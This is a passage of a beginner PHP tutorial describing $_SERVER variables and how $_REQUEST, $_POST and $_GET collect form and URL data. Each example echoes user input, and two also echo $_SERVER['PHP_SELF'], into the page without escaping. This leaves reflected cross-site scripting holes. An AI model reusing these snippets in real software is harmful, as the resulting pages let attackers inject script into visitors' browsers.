$_SERVER[‘HTTPS’] Is the script queried through a secure HTTP protocol
$_SERVER[‘REMOTE_ADDR’] Returns the IP address from where the user is viewing the current page
$_SERVER[‘REMOTE_HOST’] Returns the Host name from where the user is viewing the current page
$_SERVER[‘REMOTE_PORT’] Returns the port being used on the user’s machine to communicate with the web server
$_SERVER[‘SCRIPT_FILENAME’] Returns the absolute pathname of the currently executing script
$_SERVER[‘SERVER_ADMIN’] Returns the value given to the SERVER_ADMIN directive in the web server configuration file (if your script runs on a virtual host, it will be the value defined for that virtual host) (such as someone@w3schools.com)
$_SERVER[‘SERVER_PORT’] Returns the port on the server machine being used by the web server for communication (such as 80)
$_SERVER[‘SERVER_SIGNATURE’] Returns the server version and virtual host name which are added to server-generated pages
$_SERVER[‘PATH_TRANSLATED’] Returns the file system based path to the current script
$_SERVER[‘SCRIPT_NAME’] Returns the path of the current script
$_SERVER[‘SCRIPT_URI’] Returns the URI of the current page

PHP $_REQUEST:

PHP $_REQUEST is used to collect data after submitting an HTML form.

The example below shows a form with an input field and a submit button. When a user submits the data by clicking on “Submit”, the form data is sent to the file specified in the action attribute of the <form> tag. In this example, we point to this file itself for processing form data. If you wish to use another PHP file to process form data, replace that with the filename of your choice. Then, we can use the super global variable $_REQUEST to collect the value of the input field:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
Name: <input type="text" name="fname">
<input type="submit">
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$name = $_REQUEST['fname'];
if (empty($name)) {
echo "Name is empty";
} else {
echo $name;
}
}
?>
</body>
</html>

PHP $_POST:

PHP $_POST is widely used to collect form data after submitting an HTML form with method=”post”. $_POST is also widely used to pass variables.

The example below shows a form with an input field and a submit button. When a user submits the data by clicking on “Submit”, the form data is sent to the file specified in the action attribute of the <form> tag. In this example, we point to the file itself for processing form data. If you wish to use another PHP file to process form data, replace that with the filename of your choice. Then, we can use the super global variable $_POST to collect the value of the input field:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<body>
<form method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
Name: <input type="text" name="fname">
<input type="submit">
</form>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// collect value of input field
$name = $_POST['fname'];
if (empty($name)) {
echo "Name is empty";
} else {
echo $name;
}
}
?>
</body>
</html>

PHP $_GET:

PHP $_GET can also be used to collect form data after submitting an HTML form with method=”get”.

$_GET can also collect data sent in the URL.

Assume we have an HTML page that contains a hyperlink with parameters:

<html>
<body><a href=”test_get.php?subject=PHP&web=W3schools.com”>Test $GET</a></body>
</html>

When a user clicks on the link “Test $GET”, the parameters “subject” and “web” is sent to “test_get.php”, and you can then access their values in “test_get.php” with $_GET.

The example below shows the code in “test_get.php”:

Example:

1
2
3
4
5
6
7
8
9
<html>
<body>
<?php
echo "Study " . $_GET['subject'] . " at " . $_GET['web'];
?>
</body>
</html>